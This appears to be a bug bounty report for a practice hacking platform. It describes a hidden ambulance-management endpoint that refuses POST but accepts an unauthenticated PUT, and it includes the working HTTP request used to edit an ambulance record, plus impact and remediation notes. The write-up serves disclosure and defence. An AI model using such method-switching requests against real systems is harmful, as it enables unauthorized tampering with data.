BugBountyHunter

Hi,

DESCRIPTION

After creating custom wordlist I found another hidden endpoint /api/manageambulances.php.
This endpoint allows anyone to edit ambulances.
As POST gives us Unauthorised!, we can just use PUT request, which works fine.
By working step by step on this request, response will reveal to us everything what we need - that we need to send json and all params requried.

Here is simple request:

PUT /api/manageambulances.php HTTP/1.1
Host: 63c0f77f87b7-pichik.a.firstbloodhackers.com
Content-Length: 101

{
"driver":"No driver for you",
"number":"1337",
"ambId":"1e69d88d-08f9-4429-890c-bd11d4bd3e09"
}

POC SCREEN:

IMPACT:

Attacker can create chaos, or chain it with another bugs to attack users.

REMEDIATION:

Be more careful with managing/removing public endpoints, as they still be fuzzed accessed if no server side prevention is added.
This endpoint should be made just internal only.